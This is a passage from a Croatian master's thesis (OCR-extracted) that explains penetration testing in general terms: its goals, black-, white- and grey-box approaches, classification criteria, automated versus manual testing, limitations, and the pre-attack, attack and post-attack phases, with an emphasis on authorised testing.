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1. Uvod

Posljedi¢no razvitku racunala, interneta i mreznih tehnologija, danasnje drustvo je sve vise
ovisno o uslugama koje racunalne mreze nude. Informacijska tehnologija je u potpunosti
utkana u danasnje informacijsko drustvo te se svakoga dana u privatne i poslovne svrhe
koristimo razli¢itim uslugama koje nam se nude upravo kroz upotrebu ra¢unala. Sukladno sa
tim razvitkom raste ujedno i sofisticiranost rac¢unalnih mreza. Ovaj rast u veli¢ini i
sofisticiranosti racunalnih mreza dovodi do novih vektora napada kojih prije nije bilo, ti
napadi dovode do direktnog gubitka u poslovanju te jo§ ozbiljnije Stete reputaciji neke
organizacije. S obzirom da je poslovanje u danaSnjem informacijskog drustvu nezamislivo
bez upotrebe racunala i racunalnih mreza, sigurnosne prijetnje su se takoder razvile do te
mjere da su puno opasnije s obzirom da se ¢itavo poslovanje 1 djelovanje neke organizacije,
poduzeca ili institucije naj¢eSce odvija upotrebom racunala i mreznih usluga. Kroz ovaj
diplomski rad ¢e se proci kroz proces penetracijskog testiranja jednog od najpopularnijih
serverskih okruzenja, a to je Windows Server 2016, s time da ¢emo mi to raditi u virtualnom
okruzenju. U drugome poglavlju rada ¢e se definirati $to je to¢no penetracijsko testiranje, koji
su ciljevi penetracijskog testiranja, otkud potreba za njime te na kraju ¢emo definirati vrste
penetracijskog testiranja (Black-box, White-box, Grey-box). U tre¢em poglavlju ¢emo
definirati faze penetracijskog testiranja te objasniti svaku. U cetvrtom poglavlju ¢emo
definirati i objasniti Windows Server 2016 okruZenje te relevantne servise poput Active
Directoryja, DNS, DHCP, SMB, dijeljenja datoteka, IIS i slicnih. U petome poglavlju ¢e se
opisati izrada virtualnog okruzenja nad kojim ¢e se provesti penetracijsko testiranje. U ovome
slu¢aju e to biti virtualni stroj — Windows Server 2016 koji ¢e sluziti kao DNS server, Web
server (IIS) i domain controller. Uz njega ¢e biti konfiguriran drugi virtualni stroj — Windows
10 koji €e sluziti kao klijentsko racunalo. Unutar iste mreze ¢emo imati uredaj s kojim ¢emo
odradivati penetracijsko testiranje, u ovome slucaju virtualni stroj sa Kali Linux operativhim
sustavom. U Sestom poglavlju ¢e se opisati proces penetracijskog testiranja i ciljevi te ¢e se

prikazati kona¢ni rezultati penetracijskog testiranja.



2. Penetracijsko testiranje

Penetracijsko testiranje je testiranje koje provodi penetracijski ispitiva¢ (eng. Penetration
Tester). Sa tehnicke strane, penetracijsko testiranje je sigurnosno-orijentirano sistematicko
ispitivanje nekog sustava, ono se moze izvoditi unutar sustava ili izvan sustava. Glavni cilj je
istraziti mogucénosti i vektore koje bi potencijalni napada¢ mogao iskoristiti i preko kojih bi
se mogao izvesti napad na sustav. Drugim rije¢ima, to je procjena svih komponenti unutar
odredenog informacijsko tehnoloskog sustava S§to ukljuuje operacijske sustave,
komunikacijske kanale, aplikacijske, mrezne uredaje te fizicku sigurnost samih uredaja. Ovaj
postupak odnosno ispitivanje provodi autorizirani profesionalac koji pokuSava koristiti
identi¢ne ili slicne metode nekog napadaca (Shrestha 2012). Penetracijsko testiranje je
klju¢an potez u razvijanju sigurnog IT sustava, penetracijsko testiranje osim Sto ispituje rad
samog sustava, ispituje i implementaciju i dizajn sustava (McDermott 2000). Razlika izmedu
napada 1 penetracijskog testiranja je to Sto je penetracijsko testiranje odobreno od strane
organizacije ili poduzeca ¢iji IT sustav testiramo te su upoznati sa time $to ¢e se raditi i u koje
vrijeme. Kao jednostavan primjer penetracijskog testiranja mozemo uzeti skeniranje IP
adresa kako bi identificirali racunala unutar mreze koja pruzaju odredene servise za koje
znamo da imaju slabosti ili ¢ak odmah identificirali slabosti koje mozemo iskoristiti unutar
nekog neazuriranog operacijskog sustava. Rezultati ovih testova se dokumentiraju i predaju u
obliku izvjesc¢a kako bi se u konacnici ti problemi rijesili. Ono je sistematican test pomocu
kojeg se analiziraju sustavi za potencijalne sigurnosne propuste te nudi korisne informacije
kako bi se mapirali sigurnosni propusti koriste¢i automatizirane alate ili druge metode.
Tokom perioda penetracijskog testiranja, iznimno je bitno da je organizacija Ciji IT sustav
testiramo, upoznata sa tim procesom upravo zato S$to penetracijsko testiranje moze imati
ozbiljnije posljedice poput rusenja sustava, prezasi¢enosti mreze §to moze rezultirati upravo

onime $to zelimo izbjeci, a to je gubitak sposobnosti rada odnosno novaca.

2.1. Ciljevi penetracijskog testiranja

Penetracijsko testiranje pruza objektivan pogled na trenutno stanje IT infrastrukture neke
organizacije. Prema Budiarto et al (2004), glavni naum penetracijskog testiranja je odrediti
izvedivost nekog napada i njegovog utjecaja u slucaju da se otkrije slaba tocka u sustavu.
Proces se sastoji od aktivne analize IT sustava kako bi dosli do potencijalnih ranjivih tocka i

propusta nastalim posljedicom neispravne konfiguracije sustava, nepoznatih hardverskih i



softverskih slabosti ili sigurnosnih slabosti u samom operativnom djelovanju odredene

organizacije. Testiranjem se suzava raspon slabih to¢aka u sustavu te se u kona¢nici moze

utvrditi ukoliko su trenutne sigurnosne mjere efektivne. Dakle, ciljevi penetracijskog

testiranja su:

1.

Pruzanje dobre pocetne toCke — penetracijsko testiranje je vrlo dobar prvi korak
kako bi predocili trenutno sigurnosno stanje IT sustava neke organizacije kako bi
identificirali manjkavosti 1 propuste u sigurnosti te posljedicno djelovali nad tim
toCkama

Identificiranje i prioritiziranje sigurnosnih rizika — primaran cilj je identificiranje
sigurnosnih rizika, koriStenje penetracijskog testiranja nam omogucuje da razumijemo
sigurnosne rizike uz to §to nam omogucava i da prioritiziramo vece i ozbiljnije
sigurnosne rizike u odnosu na one manje. Ovo nam pomaze i pri alociranju budzeta ka
IT sigurnosti te efikasnijim troSkovima

Poboljsanje sigurnosti ra¢unalnog sustava — penetracijsko testiranje se izvodi kako
bi se poboljsala sigurnost racunalnih sustava i komponenata kao S§to su vatrozidi,
ruteri i server. Razli¢iti sigurnosni mehanizmi poput vatrozidova i kriptiranja se
koriste kako bi se podatci zastitili, usprkos tome se frekvencija i ozbiljnost mreznih
probijanja, krade podataka te napada zlo¢udnim softverom povecava. Penetracijsko
testiranje pomaze 1 u ovom aspektu, kao primjer moZzemo navesti pronalazak
nepotrebno otvorenih mreznih portova ili nesigurne ina¢ice mreznih aplikacija ili
operacijskih sustava

PoboljSanje sigurnosti strukture neke organizacije — 0sim testiranja tehniCke
infrastrukture, testirati se moze i uprava kao i zaposlenici same organizacije, nadzirati
se mogu procesi poput eskalacijskih procedura i sliéni. Mogu se koristiti metode
druStvenog inzenjeringa poput traZzenja lozinka putem telefonskog razgovora i sli¢ne,
na ovaj nacin se moze podi¢i svijest samih zaposlenika i uprave po pitanju IT
sigurnosti.

Provodenje nezavisnih revizija — nepristrana sigurnosna analiza i penetracijsko
testiranje mogu usmijeriti interne resurse tamo gdje su najpotrebniji, takoder nezavisna
revizija nam omogucuje u legalnom kontekstu odreden dokaz za Stitimo imovinu koja
se nalazi na mreZi §to minimizira potencijalni gubitak vrijednosti u smislu dionica i
dionic¢ara. Nezavisne revizije ubrzano postaju fundamentalni zahtjev koji se treba

ispuniti kako bi se ostvarilo uvjerenje o kibernetickoj sigurnosti.



6. Smanjenje financijskih gubitaka — kada smo osigurali infrastrukturu organizacije,
penetracijsko testiranje nam daje vrlo vrijednu povratnu informaciju odnosno
validaciju sigurnosnog okruzenja izmedu poslovnih inicijativa i sigurnosnog sustava
Sto nam omogucuje smanjenje financijskog gubitka i uspjeSnu implementaciju sa

minimalnim rizikom.

2.2. Vrste penetracijskog testiranja

Postoje razliCite vrste penetracijskog testiranja, vrsta koja se provodi najéesc¢e ovisi o tome
Sto organizacija ¢ija se IT infrastruktura testira Zeli testirati. Postavlja se pitanje da li se Zeli
simulirati napad od strane osobe koja se nalazi unutar same organizacije i njene IT

infrastrukture ili napad od osobe koja se nalazi izvana. Tri Siroko prihvacena pristupa su:

1. Black-box
2. White-box
3. Grey-box

Glavna razlika izmedu ta dva pristupa je koli¢ina informacija koju napada¢ ima o samom IT
sustavu ciljane organizacije. U narednom poglavlju ¢emo detaljnije objasniti dva spomenuta

pristupa.
2.2.1. Black-box testiranje

Prema Davis (2021) black-box testiranje, znano i kao vanjsko testiranje je pristup u kojemu
izvodac penetracijskog testiranja simulira napad na IT sustav kao netko tko se nalazi van toga
sustava odnosno nema nikakvo znanje o samoj infrastrukturi tog IT sustava. U ovome
pristupu se Koriste stvarne tehnike poput drustvenog inzenjeringa, udaljenog pristupa,
zlo¢udnih softvera poput trojanskog konja i slicno. Testiranje se izvodi po fazama, kao
primjer moZzemo navesti sljede¢e, u prvoj fazi se napadacu daju samo informacije o
organizaciji poput mrezne stranice ili domet IP adresa. Koriste¢i te informacije, napadac
pokusava razotkriti $to vise slabih tocaka te raCunalne mreze. Glavni cilj black-box
penetracijskog testiranja je provjeriti integritet mreze neke organizacije i na proaktivan nacin

smanjiti rizik od vanjskog ili unutarnjeg napada.
2.2.2. White-box testiranje

Prema Davis (2021) white-box testiranje, znano i kao unutarnje testiranje je pristup u kojem

izvoda¢ penetracijskog testa simulira napad na IT sustav preuzevsi ulogu napadaca koji ima



kompletno znanje racunalne infrastrukture neke organizacije, to ukljucuje detaljne podatke
operacijskih sustava koji se koriste, sheme IP adresa i mrezne dijagrame, izvorni kod
programa te potencijalno i lozinke. Kao primjer takvog testiranja moZemo navesti situaciju u
kojoj napada¢ pokusava uspostaviti udaljeni pristup ka toj zasti¢enoj, internoj mrezi koristeéi
straznja vrata (engl. backdoor). Glavni cilj white-box penetracijskog testiranja je potvrditi
integritet raCunalne mreze neke organizacije te proaktivno smanjiti rizik napada od strane

individualaca koji se nalaze unutar same organizacije poput nezadovoljnih zaposlenika.

2.2.3. Grey-box testiranje

Postoji i kombinacija black-box i white-box testiranja, a ono se zove grey-box. Prema Davis
(2021), u ovome pristupu se Zelimo staviti u ulogu napadaca koji se nalazi unutar mreze
nekog IT sustava, ali ima ograni¢eno znanje o njemu. Ovo je preferirana metoda testiranja
kada je organizacija uskog budZeta upravo zato Sto se Stedi vrijeme jer se ne trebaju otkrivati

informacije koje su javno dostupne.

2.2.4. Zakljucak o vrstama testiranja

Ne postoji pristup koji je superiorniji od drugih, ve¢ bi se svi pristupi i metode trebali
kombinirati s ciljem postizanja boljih rezultata $to na kraju pridonosi veCom vrijednos$¢éu
unutarnjih i vanjskih sigurnosnih rizika koji se nalaze u infrastrukturi IT sustava. Prema Ali
et al. (2011), kada se testiranje zavr$i, stvoriti ¢e se dokumenti koji sadrze informacije o
sveukupnoj sigurnosnoj procjeni IT sustava, to podrazumijeva kategorizaciju ranjivih tocki
sustava na one niskog, srednjeg i visokog rizika. Rizik se mjeri i kategorizira u odnosu na
razinu ugrozenosti i financijskog gubitka kojim bi rezultirao proboj tog sigurnosnog rizika.
Prema Shrestha (2012), uz navedene metode penetracijskog testiranja, treba se i spomenuti to
da se penetracijski testovi mogu provesti kao blue-teaming i red-teaming. Koncept blue-
teaming podrazumijeva da za penetracijsko testiranje zna Citava tehniCka sluzba te
organizacije, dok red-teaming podrazumijeva da za testiranje znaju iskljuéivo visa
upravljacka tijela unutar organizacije. Red-teaming je skuplji za provesti, ali je kvalitetniji

indikator sigurnosti nekog sustava, dok za blue-teaming vrijedi obrnuto.



2.3. Klasifikacija penetracijskih testova

Kako bi se osiguralo efektivno i efikasno testiranje, osoba koja ga provodi mora biti sposobna

razlikovati klase penetracijskog testiranja. Neke kljuéne znacajke poput Sirine sustava koju

test zahvaca ili agresivnosti testa nam mogu ukazati na klase penetracijskog testiranja, dakle

penetracijsko testiranje se mora bazirati na osnovi odredenih kriterija. Koriste¢i rad Security

Assessment via Penetration Testing: A Network and System Administrator's Approach, u

idu¢em pregledu ¢emo prikazati klasifikaciju testova. Sa lijeve strane se nalaze kriteriji po

kojima definiramo penetracijski test, a sa desne strane odgovarajuce metrike za kriterij.

1.Informacije

2.Agresivnost

3.0pseq

4. Pristup

5. Metoda

Penetracijsko
testiranje
h 4 4
Black-box White-box
test test
Pasivno skeniranje PaZljivo skeniranje Kalkulirano Agresivno skeniranje
! ! ! skeniranje !
Potpun Ogranicen Koncentriran
Prikriven Otvoren

Baziran na drugim Baziran na

MreZno baziran komunikacijskim Fiziéki baziran druStvenom
mrezama inZenjeringu

6. Poletna toCka

v

Vanjska

v

Unutarnja

Slika 1. Klasifikacija penetracijskih testova

Sve kombinacije danih metrika su moguce, ali nisu preporucljive te osoba koja provodi

penetracijsko testiranje mora na to obratiti pozornost. Penetracijski test koji bi nastupio kao

agresivni napad nakon prikrivenog odnosno necujnog pristupa, u principu nema smisla i ne bi



se trebao koristiti. U idu¢im poglavljima ¢emo detaljnije objasniti svih Sest kriterija i njihove

moguce metrike.
2.3.1. Test ovisno o informacijama

Ovisno o koli¢ini informacija koja je poznata osobi koji provodi testiranje, stvara se razlika
izmedu black-box testiranja i white-box testiranja.
Pri white-box testiranju, napada¢ ima ili su mu dane sve informacije o ciljanoj mrezi ili
infrastrukturi IT sustava. Ovo testiranje se moze smatrati kao simulacija napada od osobe
koja se nalazi unutar organizacije i ima znanje o sustavu. Glavni cilj white-box testiranja je
pruzati informacije osobi koja provodi testiranje kako bi dobili uvid u sustav i kako bi mogli
provesti i elaborirati testiranje na osnovi tog predznanja. Kao primjer mozemo navesti
informacije koje sadrze mrezne sheme 1 detalje o infrastrukturi pri testiranju infrastrukture,

dok kod testiranja aplikacije se pruza dizajn aplikacije te izvorni kod.

Pri black-box testiranju, osoba koja provodi testiranje nema nikakvo predznanje ili
informacije o ciljanom sustavu koji se napada. Ovo se moze smatrati kao simulacija napada
osobe koja se nalazi van IT sustava. Eticki hakeri ili osobe koje testiraju moraju sakupiti
svoje informacije iz javnih izvora kako bi samostalno pronasli slabe tocke. Koraci poput
mapiranja mreze, operacijskih sustava, nabrajanja dijeljenih datoteka i mapa te popisivanje

servisa su tipi¢ni za black-box testiranje.
2.3.2. Test ovisno o agresivnosti

Penetracijsko testiranje se moze provoditi razli¢itim intenzitetom i razli¢itim stupnjevima
agresivnosti, ovo direktno utjece na to koliko se rano napad moze detektirati. Agresivni test

se moze klasificrati u iduca Cetiri stupnja:

1. Prva ili najniZa razina — pasivan
2. Druga razina — paizljiv

3. Treca razina — kalkuliran
4

Cetvrta ili najvisa razina agresivnosti — agresivan

Prva razina odnosno pasivan test podrazumijeva vrlo slabu interakciju sa ciljanim sustavom
te sve slabosti koje se otkriju se u pravilu ne iskoriStavaju te ne dolazi do ugrozavanja

sustava.

Druga razina odnosno pazljiv test podrazumijeva izvodenje napada sa iznimnom paznjom

kako bi se iskoristili isklju¢ivo sigurnosni propusti koji nece ometati funkcionalnost tog



sustava. Ovo moze biti pokusaj ulaska u sustav koriStenjem znanih zadanih lozinki ili pokusaj

ulaska u odredene putanje na web serveru.

Treca razina odnosno kalkulirani test podrazumijeva izvodenje napada koji ¢e potencijalno
uzrokovati nestabilnosti u sustavu. Kao primjer mozemo navesti automatizirane pokusSaje

probijanja lozinki ili ciljane napade pokusaja prelijevanja meduspremnika ciljanog sustava.

Cetvrta razina odnosno agresivni test podrazumijeva napad koji generira veliku koli¢inu
mreznog prometa. Osoba koja provodi testiranje pokusava iskoristiti sve poznate sigurnosne
propuste i slabe tocke sustava. Neki primjer takvih napada mogu biti prelijevanje

meduspremnika ili napadi uskrac¢ivanja usluga (DoS, DDos)
2.3.3. Test ovisno 0 opsegu

Opseg testa se treba pazljivo definirati kako bi se specificiralo koji ¢e uredaji, mreze i servisi

biti ukljuceni u testno okruzenje. Ovisno o opsegu, testiranje mozemo podijeliti na iduca tri:

1. Potpuno
2. Ograniceno

3. Koncentrirano

Na taj nain mozemo smanjiti kompleksnost i sam troSak testiranja. Vrijeme provedeno
testiraju¢i je direktno povezano sa opsegom sustava koji se ispituje te se opseg razlikuje

ovisno o prethodnom znanju i konfiguraciji sustava.

Potpuni test podrazumijeva sistemati¢no ispitivanje Citavog sustava, pritom valja

napomenuti da i tokom potpunog testa se neki vanjski sustavi mozda ne¢e moci testirati.

Ograniceni test podrazumijeva testiranje samo odredenog dijela sustava koji ¢ini logicku
cjelinu. Kao primjer mozemo navesti testiranje svih sustava unutar demilitarizirane zone ili

sustava koji sacinjavaju nekakvu funkcijsku cjelinu.

Koncentrirani test podrazumijeva testiranje isklju¢ivo jednog dijela sustava ili iskljucivo

jednog servisa unutar sustava.
2.3.4. Test ovisno o pristupu
Penetracijske testove se moze karakterizirati ovisno o pristupu. Postoje dvije vrste pristupa:

1. Prikriven

2. Otvoren



Prikriveni pristup podrazumijeva upotrebu metoda koje se ne mogu klasificirati kao napad
te su zbog tog razloga teze za primijetiti i utjeCu na brzinu otkrivanja nekog napada.
Penetracijski testovi koji se provode na sekundarnim sigurnosnim sustavima poput

organizacijske strukture i strukture osoblja u pravilu moraju biti uvijek prikriveni.

Otvoreni pristup bi se trebao Koristiti kada prikrivenim pristupom ne dodemo do nikakvih
rezultata. Ovaj pristup bi mogao uklju¢ivati metode kao skeniranje portova te bi se trebao
uvijek provoditi u dogovoru sa internim osobljem koje je zaduzeno za sustav. Interno osoblje
takoder moze biti dio tima koji provodi otvoreno white-box testiranje, ovaj pristup daje

ispitiva¢ima dovoljno vremena da reagiraju na neocekivane probleme.
2.3.5. Test ovisno o koristenoj metodi

Postoji veci broj metoda koji se moze koristiti tokom procesa penetracijskog testiranja. Vrlo
cesto su sustavi kompromitirani koriste¢i neko racunalo ili mreze koje su nepravilno
konfigurirane te se uz to koriste i razli¢iti fizicki napadi 1 metode druStvenog inZenjeringa.

Detaljnije ¢emo objasniti te metode u iduce Cetiri tocke .

1. MreZno bazirani penetracijski testovi — takoder znani kao IP bazirani penetracijski
testovi su najceS¢e koriStene testne procedure. Koriste¢i mrezno bazirane napade,
ispitivaC napada kako bi iskoristio ranjive tocke 1 sigurnosne propuste unutar
operacijskih sustava, mreznih protokola i1 aplikacija. Ovi napadi uklju¢uju napade
uskracivanja usluga, prelijevanje meduspremnika, IP spoofing, skeniranje portova.

2. Penetracijski testovi bazirani na drugim komunikacijskim mrezama -
podrazumijevaju koriStenje drugacijih mreznih sustava poput bezi¢nih odnosno WiFi
sustava, IR sustava, bluetootha ili rekreiranje podataka koji  nastaju
elektromagnetskim zra¢enjem uredaja koji se nalaze unutar sustava

3. Metode fizickog testiranja — podrazumijevaju da ispitiva¢ moze pristupiti podatcima
na racunalu koje nije zaStieno lozinkom tako da fizicki ude u prostor gdje se
organizacija nalazi.

4. Metode druStvenog inZenjeringa — vrlo Cesto su upravo ljudi najslabija karika
unutar organizacije te su metode drustvenog inZenjeringa zbog toga vrlo uspjesne.
Drustveni inZenjering podrazumijeva iskoriStavanje ljudske nepaZnje i slabosti kako
bi dosli do vrijednih informacija o sustavu. Kao primjer moZzemo spomenuti da se
netko predstavlja kao IT podrska koja odrzava sustav nekoj organizaciji te moze pitati

osobu za lozinku ili sli¢no.



2.3.6. Test ovisno o pocetnoj tocki napada

Penetracijsko testiranje ovisi i 0 pocetnoj tocki napada odnosno nalazi li se napada¢ unutar ili
izvan raCunalne mreze organizacije koju testira. Tocka gdje ispitiva¢ odreduje zapoceti
testiranje jest pocetna tocka. UobiCajene pocetne tocke su vatrozidi, servisi koji pruzaju

udaljeni pristup, web serveri i bezi¢ne mreze.

1. U penetracijskom testu provedenom iz unutarnjeg okruZenja, ispitivac je spojen na
unutarnju infrastrukturu te ima osnovni pristup racunalnom sustavu. Simulacija ovog
napada daje organizaciji vrijedne informacije kako da se zastiti od nezadovoljnih
zaposlenika. Tokom unutarnjeg testiranja, ispitiva¢ moze procijeniti koliki utjecaj ima
kriva konfiguracija vatrozida kao 1 fizi¢ki pristup sustavu.

2. U penetracijskom testu provedenom izvan okruZenja organizacije, ispitivac
pokuSava probiti obrambene mehanizme te pristupiti unutarnjoj mrezi koristeci
Internet. Ovaj nacin testiranja omogucuje uvid iz perspektive vanjskog napadaca i
daje cjelokupnu sliku napada kakav bi se vrlo realno mogao dogoditi. Najocitije tocke
napada su podatkovni centri, vatrozidi, zavrSne tocke VPNa, tocke udaljenog pristupa

te demilitarizirane zone.
2.4. Uvjeti za izvodenje penetracijskog testiranja

Prije nego Sto se izvede penetracijsko testiranje, odredeni klju¢ni problemi se trebaju
prepoznati i predstaviti, na taj naCin ¢emo osigurati korisne, aktualne 1 relevantne rezultate.
Prema Xynos et al. (2010), ovo ukljucuje tehnic¢ke uvjete poput vremenskih ogranicenja,
raspona IP adresa, sustava koji ¢e biti napadnut te i1 dijela sustava koji nece biti napadnut
kako bi se osigurali normalni uvjeti rada. Drugi zahtjevi mogu biti pravne prirode,
ispunjavanjem tih zahtjeva se kroji ugovor pod kojim se definira tko izvodi penetracijsko
testiranje te tko je odgovoran za $to, ovo ukljucuje obje stranke dakle 1 ispitivace i ciljanu
organizaciju. Uz prethodno spomenute uvjete je potrebno spomenuti i eticku odnosno
tehnicku kompetentnost osobe koja provodi penetracijsko testiranje. Vrlo vjerojatno ¢e se
osoba tokom izvodenja testiranja pronaci u situaciji gdje mora donijeti profesionalnu odluku
o toj odredenoj situaciji, dakle ispitiva¢ bi takoder trebao poznavati procedura te bi trebao biti
eticki 1 tehnicki treniran kako bi osigurao da se penetracijsko testiranje provede ispravno te da

ne dovede do laZnih rezultata ili laznog osje¢aja sigurnosti.
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2.5. Automatsko testiranje naspram rucnog testiranja

Tokom penetracijskog testiranja, ispitiva¢ moze Koristiti ru¢ne, automatske ili kombinaciju

tih dvaju metoda kako bi pronasao slabosti u nekom racunalnom sustavu. Metode koje

ispitivaci koriste imaju svoju osnovu u njihovom osobnom znanju i vjestinama, ali uz to neki

faktori poput efektivnosti metode, brzine i pouzdanosti se trebaju uzeti u obzir prije nego sto

ih se primjeni. Prema Shrestha (2012), u iducoj tablici ¢emo definirate neke osnovne razlike

izmedu prethodno spomenutih metoda.

Automatsko penetracijsko

testiranje
POSTUPAK e Brzo, lagano i sigurno,
TESTIRANJA eliminira ljudske greske i

naporne repetitivne
zadatke

e Centralizirano i
standardizirano kako bi
dobili dosljedne i lako
ponovljive rezultate.

e Lagano za koristenje i

jasna izvjesca

Razvijanje i e Pruzatelj proizvoda

upravljanje razvija i odrZava sustav
sustava za za testiranje napada
testiranje e Aplikacije i alati su

profesionalno

proizvedeni, temeljito
testirani i sigurni za
provesti

e Alati su pisani za razlicite
platforme i  vektore

napada

11

Ruc¢no penetracijsko testiranje

Intenzivno za pojedinca, nekonzistentno te
nema specificiranih standarda i trazene
kvalitete

Zahtjeva mnoge zasebne i razliCite alate
Rezultati testova se mogu znacajno

razlikovati jedni u odnosu na druge

Razvijanje | odrZavanje vlastite baze
podataka iziskuje znacajnu  koliinu
vremena i zahtjeva veliku razinu znanja
Javno dostupne aplikacije i alati mogu biti
maliciozni i nesigurni za provodenje
Ponovno pisanje koda i dizajna je potrebno

za funkcionalnost na vise platformi



Eskalacija e Kod se ne treba ucitavati e Zahtjeva mijenjanje sustava jer se kod

privilegija na lokalno racunalo te se mora  ulitavati 1  sastavljati  na
test moze  provesti kompromitiranim strojevima
udaljeno

e Korisnik moze provesti

dubinsko testiranje unutar

mreze
Izvjestavanje e Sveobuhvatna povijest i e  Zahtjeva veliku koli¢inu vremena, ru¢no se
dokumentacija rezultata trebaju pratiti i sakupljati svi podatci
se generira automatski e Svi izvjestaji se mogu detaljno prilagoditi
e Datoteke se mogu potrebama Klijenta
prilagoditi
Logiranje/revizija e Detaljna izvjes¢a se e Ispitiva¢ mora ukljuciti logiranje za svaki
kreiraju sama te su svi alat koji koristi, tokom svakog testa kojeg
dogadaji detaljno opisani provodi
u njima
e Korisnici sami mogu e Ispitiva¢ mora znati nestandardne tehnike
provesti test uz kratku ad-hoc testiranja
obuku

Tablica 1. Usporedba automatsko i rucnog penetracijskog testiranja

2.6. Ograni¢enja penetracijskog testiranja

Penetracijski testovi su korisni te mogu imati iznimno veliku korist 1 znacaj kako bi se neki
sustav ili proizvod osigurao, ali unato¢ tome penetracijski testovi imaju svoje ogranicenje.
Penetracijski testovi ne¢e nuzno identificirati sve slabosti unutar nekog sustava, ovo je
najce$¢e zbog vremenskih rokova ili zbog testova provedenih u obliku projekata. Vecina
organizacija ne moze ispitati kompletan sustav ili kompletno sve $to Zele testirati, dijelom
zbog resursa, a dijelom zbog vremenskih rokova, dakle moguce je da pravi napadaci pronadu
slabosti unutar podrucja koje nije bilo u opsegu penetracijskog testa. Napadaci imaju jako
puno vremena kako bi isplanirali napad, locirali vektore i na kraju ga izveli, dok se
penetracijsko testiranje najées¢e provodi tijekom jednog kraceg vremenskog perioda. Unato¢
tome Sto se prati metodologija pri provodenju penetracijskog testiranja, ono nije egzaktna
znanost te uvijek ima iznimaka. Kao primjer moZemo navesti da jedan ispitiva¢ vidi ve¢i broj

slabosti koje je ocijenio kao slabosti manjeg rizika te moze zakljuditi kako one ne
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predstavljaju nikakvu opasnost. Sa druge strane mozemo imati strucnijeg ispitivaca koji kroz
iskustvo zna da takav veéi broj manjih rizika moze pruzati izuzetnu opasnost za taj sustav. Uz
vremenske rokove i testove u obliku projekata, penetracijski testovi su ograniceni trenutno
znanim sigurnosnim propustima odnosno propustima koji su javno dostupni. Penetracijsko
testiranje ne garantira da se uspjeSan napad neée dogoditi, ali znatno smanjuje moguénost
uspjesnog napada ukoliko se sigurnosni propusti pronadu i uklone. Penetracijsko testiranje ne
moze zamijeniti tradicionalne testove IT sigurnosti te mu cilj nije zamijeniti kvalitetnu,

generalnu sigurnosnu politiku neke organizacije.
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3. Faze penetracijskog testiranja

Cjelokupni proces penetracijskog testiranja se moze podijeliti na pojedine faze odnosno
korake. Skup tih faza odnosno koraka c¢ini sveobuhvatnu metodologiju za penetracijsko
testiranje. Razli¢ite metodologije su koristile razli¢ite nazive za pojedinacne korake, cjeline i
faze, ali u konacnici je svim metodologijama cilj isti. Postoje tri faze pri provodenju

penetracijskog testiranja, a to su:

1. Faza prije napada (engl. Pre-attack phase)
2. Faza napada (engl. Attack phase)

3. Faza poslije napada (engl. Post-attack phase)

Odredene aktivnosti koje se provode po fazama ovise o tome kako je predvideno da se samo
testiranje provede. Sada ¢emo ukratko objasniti svaku fazu napada gledajuci iz perspektive

provodenja black-box penetracijskog testiranja.
3.1.1. Faza prije napada

Faza prije napada ukljucuje izvidanje i1 skupljanje podataka kako bi se otkrilo Sto je vise
informacija moguce o meti koju napadamo. Kako bi bili uspjesni u izvidanju, nasa strategija
mora uklju¢ivati pasivne i aktivne tehnike izvidanja i sakupljanja podataka. Pasivno izvidanje
ukljucuje sakupljanje informacija koje se nalaze na internetu i otvoreno su dostupne svima.
KoriStenjem pasivnog izvidanja u odnosu na aktivno, ne postoji direktna interakcija sa
ciljanom metom odnosno sustavom, meta nema nikakvo znanje 0 postupcima osobe koja
provodi penetracijsko testiranje ili napad. Informacije koje se pokusSavaju prikupiti su
vecinom one o proizvodima i uslugama koje sama tvrtka nudi te ukoliko se nadu i neki pravni

dokumenti i podatci.

Suprotno od pasivnog izvidanja je aktivno izvidanje te ono ukljucuje aktivnosti poput
mapiranja mreze, operacijskih sustava, fizicke radne okoline 1 profiliranje sadrZaja

pronadenog na mreZnim stranicama.
3.1.2. Faza napada

U fazi napada je ukljucena tocka kada dolazi do ugroZavanja same mete napada. Napadi ¢e se
provesti ovisno o nedostatcima 1 ranjivim tockama koje su se otkrile u fazi prije napada.
Tokom ove faze, koriste se razni alati kako bi se pronaslo §to viSe ranjivih to¢aka u sustavu i
naglasak je na tome da se svaka pokusa iskoristiti jer niti organizacija niti sama osoba koja

provodi testiranje ne moze znati koju slabu tocku ¢e pravi napadac htjeti prvu iskoristiti.
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Razni alati se koriste poput mreznih skenera, aktivnih sonda i drustvenog inzenjeringa kako
bi se na kraju dospjelo do ciljanog stroja. Kada dodemo do ciljanog stroja i dobijemo
djelomi¢nu kontrolu nad njim, cilj nam je eskalirati prava na racunalu na §to veéu razinu te
¢inimo to iskoriStavanjem ciljanog stroja i instalacijom jedne ili ve¢eg broja aplikacija kako
bi mogli omogu¢iti kontinuiran pristup stroju. Nakon toga pokusavamo doc¢i do drugih
strojeva koji se nalaze unutar mreze, koriste se metode i alati poput brute force napada,
trojanskih konja i1 analizatora protokola kako bi dobili informacije tokom eskalacije prava.
Prema Vacca (2009), glavni cilj ove faze je istraziti do koje mjere moZzemo i¢i dok obrambeni
mehanizmi sustava na posustaju. U konacnici kada smo usli u sustav, cilj nam je prikriti

korake i eliminirati sav dokaz koji bi mogao ostati za nama unutar sustava.
3.1.3. Faza poslije napada

Prema Shrestha (2012), ova faza ukljucuje vracanje sustava u izvorno stanje u kojem se
nalazio prethodno penetracijskom testiranju, ovo uklju¢uje uklanjanje rootkit datoteka,
backdoor programa, izmjena u datotekama, mapama i ostalih objekata unutar operacijskog
sustava, vracanje mreznih uredaja 1 mrezne infrastrukture u originalno stanje, ¢iS¢enje
unesenih vrijednosti u registryju te uklanjanje dijeljenih datoteka i veza koje smo
implementirali tokom prijasnjih faza. Nakon ovoga se kreira izvjeSc¢e koje sadrzava podatke o
svim aktivnostima koje su se provele kroz dvije prethodne faze te i sve incidente koji su bili
izazvani. Uz te informacije se predaju i prijedlozi koje bi se korektivne mjere trebale provesti

nad samim sustavom.
3.2. Metodologija i dokumentacija

Metodologija opisuje zadana pravila, prakticnu izvedbu, procedure i metode koje se moraju
pratiti 1 implementirati prilikom izvodenja bilo kakve revizije sigurnosnog sustava
organizacije. Prema Ali et al. (2011), metodologija penetracijskog testiranja je skupina
pravila i uputa koje se trebaju pratiti prilikom izvodenja testiranja, dakle metodologija
penetracijskog testiranja funkcionira kao putokaz koji sadrzi prakti¢ne ideje te dokazanu
uspjeSnu praksu. Postoje razlicite metodologije za provodenje penetracijskog testiranja te ne
postoji jedna definirana kao ona ispravna. Ove metodologije sluZe kao izvor dokumentacije
